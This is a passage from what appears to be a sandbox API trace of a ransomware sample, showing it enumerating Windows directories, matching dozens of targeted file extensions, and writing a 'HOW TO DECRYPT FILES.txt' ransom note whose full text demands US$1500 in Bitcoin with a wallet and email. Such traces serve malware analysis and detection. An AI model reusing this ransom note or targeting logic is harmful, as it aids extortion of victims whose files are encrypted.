(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.tlg") returned 0 [0111.415] lstrlenA (lpString="*.tlg") returned 5 [0111.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.lgb") returned 0 [0111.415] lstrlenA (lpString="*.lgb") returned 5 [0111.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mov") returned 0 [0111.415] lstrlenA (lpString="*.mov") returned 5 [0111.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.xdw") returned 0 [0111.415] lstrlenA (lpString="*.xdw") returned 5 [0111.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.ods") returned 0 [0111.415] lstrlenA (lpString="*.ods") returned 5 [0111.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.wav") returned 0 [0111.416] lstrlenA (lpString="*.wav") returned 5 [0111.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.mp3") returned 0 [0111.416] lstrlenA (lpString="*.mp3") returned 5 [0111.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.aiff") returned 0 [0111.416] lstrlenA (lpString="*.aiff") returned 6 [0111.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.flac") returned 0 [0111.416] lstrlenA (lpString="*.flac") returned 6 [0111.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.m4a") returned 0 [0111.416] lstrlenA (lpString="*.m4a") returned 5 [0111.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", pszSpec="*.csv") returned 0 [0111.416] lstrlenA (lpString="*.csv") returned 5 [0111.416] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd3947d6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd3947d6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd3947d6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.416] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.417] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ac0ee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe0ac0ee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe0ac0ee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="5efdf2ce3570caddc09eeae943f71cee", cAlternateFileName="5EFDF2~1")) returned 1 [0111.417] lstrcmpA (lpString1=".", lpString2="5efdf2ce3570caddc09eeae943f71cee") returned -1 [0111.417] lstrcmpA (lpString1="..", lpString2="5efdf2ce3570caddc09eeae943f71cee") returned -1 [0111.417] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\*.*") returned="*.*" [0111.417] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\", lpString2="5efdf2ce3570caddc09eeae943f71cee" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee" [0111.417] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee") returned 100 [0111.417] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ac0ee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe0ac0ee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe0ac0ee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.417] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.417] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ac0ee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe0ac0ee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe0ac0ee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.418] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.418] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.418] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe05fe2d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe05fe2d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe05fe2d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.418] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.418] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll") returned -1 [0111.418] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll") returned -1 [0111.418] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll") returned -1 [0111.418] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\*.*") returned="*.*" [0111.418] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\" [0111.418] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\") returned="" [0111.418] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\HOW TO DECRYPT FILES.txt" [0111.418] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\5efdf2ce3570caddc09eeae943f71cee\\how to decrypt files.txt")) returned 0xffffffff [0111.418] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\5efdf2ce3570caddc09eeae943f71cee\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.435] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.435] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.437] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.437] CloseHandle (hObject=0x90) returned 1 [0111.438] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\", lpString2="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll" [0111.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.ems") returned 0 [0111.438] lstrlenA (lpString="*.ems") returned 5 [0111.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.db") returned 0 [0111.438] lstrlenA (lpString="*.db") returned 4 [0111.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.dbf") returned 0 [0111.438] lstrlenA (lpString="*.dbf") returned 5 [0111.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.myox") returned 0 [0111.438] lstrlenA (lpString="*.myox") returned 6 [0111.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.myo") returned 0 [0111.438] lstrlenA (lpString="*.myo") returned 5 [0111.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbw") returned 0 [0111.438] lstrlenA (lpString="*.qbw") returned 5 [0111.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbb") returned 0 [0111.438] lstrlenA (lpString="*.qbb") returned 5 [0111.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbm") returned 0 [0111.438] lstrlenA (lpString="*.qbm") returned 5 [0111.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbo") returned 0 [0111.439] lstrlenA (lpString="*.qbo") returned 5 [0111.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbx") returned 0 [0111.439] lstrlenA (lpString="*.qbx") returned 5 [0111.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qba") returned 0 [0111.439] lstrlenA (lpString="*.qba") returned 5 [0111.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qby") returned 0 [0111.439] lstrlenA (lpString="*.qby") returned 5 [0111.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qbj") returned 0 [0111.439] lstrlenA (lpString="*.qbj") returned 5 [0111.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.ofx") returned 0 [0111.439] lstrlenA (lpString="*.ofx") returned 5 [0111.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.qif") returned 0 [0111.439] lstrlenA (lpString="*.qif") returned 5 [0111.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mye") returned 0 [0111.439] lstrlenA (lpString="*.mye") returned 5 [0111.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mbox") returned 0 [0111.439] lstrlenA (lpString="*.mbox") returned 6 [0111.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.eml") returned 0 [0111.439] lstrlenA (lpString="*.eml") returned 5 [0111.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.pst") returned 0 [0111.440] lstrlenA (lpString="*.pst") returned 5 [0111.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.ost") returned 0 [0111.440] lstrlenA (lpString="*.ost") returned 5 [0111.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.idx") returned 0 [0111.440] lstrlenA (lpString="*.idx") returned 5 [0111.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.dbx") returned 0 [0111.440] lstrlenA (lpString="*.dbx") returned 5 [0111.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.sql") returned 0 [0111.440] lstrlenA (lpString="*.sql") returned 5 [0111.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mdb") returned 0 [0111.440] lstrlenA (lpString="*.mdb") returned 5 [0111.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.fdb") returned 0 [0111.440] lstrlenA (lpString="*.fdb") returned 5 [0111.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.wab") returned 0 [0111.440] lstrlenA (lpString="*.wab") returned 5 [0111.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.dat") returned 0 [0111.440] lstrlenA (lpString="*.dat") returned 5 [0111.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.txt") returned 0 [0111.440] lstrlenA (lpString="*.txt") returned 5 [0111.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.jpeg") returned 0 [0111.440] lstrlenA (lpString="*.jpeg") returned 6 [0111.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.jpg") returned 0 [0111.440] lstrlenA (lpString="*.jpg") returned 5 [0111.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.png") returned 0 [0111.441] lstrlenA (lpString="*.png") returned 5 [0111.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.php") returned 0 [0111.441] lstrlenA (lpString="*.php") returned 5 [0111.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.cs") returned 0 [0111.441] lstrlenA (lpString="*.cs") returned 4 [0111.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.cpp") returned 0 [0111.441] lstrlenA (lpString="*.cpp") returned 5 [0111.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.rar") returned 0 [0111.441] lstrlenA (lpString="*.rar") returned 5 [0111.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.zip") returned 0 [0111.441] lstrlenA (lpString="*.zip") returned 5 [0111.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.html") returned 0 [0111.441] lstrlenA (lpString="*.html") returned 6 [0111.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.htm") returned 0 [0111.441] lstrlenA (lpString="*.htm") returned 5 [0111.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.xlsx") returned 0 [0111.441] lstrlenA (lpString="*.xlsx") returned 6 [0111.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.xls") returned 0 [0111.441] lstrlenA (lpString="*.xls") returned 5 [0111.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mp4") returned 0 [0111.441] lstrlenA (lpString="*.mp4") returned 5 [0111.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.ppt") returned 0 [0111.442] lstrlenA (lpString="*.ppt") returned 5 [0111.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.pptx") returned 0 [0111.442] lstrlenA (lpString="*.pptx") returned 6 [0111.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.doc") returned 0 [0111.442] lstrlenA (lpString="*.doc") returned 5 [0111.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.dot") returned 0 [0111.442] lstrlenA (lpString="*.dot") returned 5 [0111.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.docx") returned 0 [0111.442] lstrlenA (lpString="*.docx") returned 6 [0111.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.7z") returned 0 [0111.442] lstrlenA (lpString="*.7z") returned 4 [0111.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.tar") returned 0 [0111.442] lstrlenA (lpString="*.tar") returned 5 [0111.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.bz2") returned 0 [0111.442] lstrlenA (lpString="*.bz2") returned 5 [0111.442] PathMatchSpecA 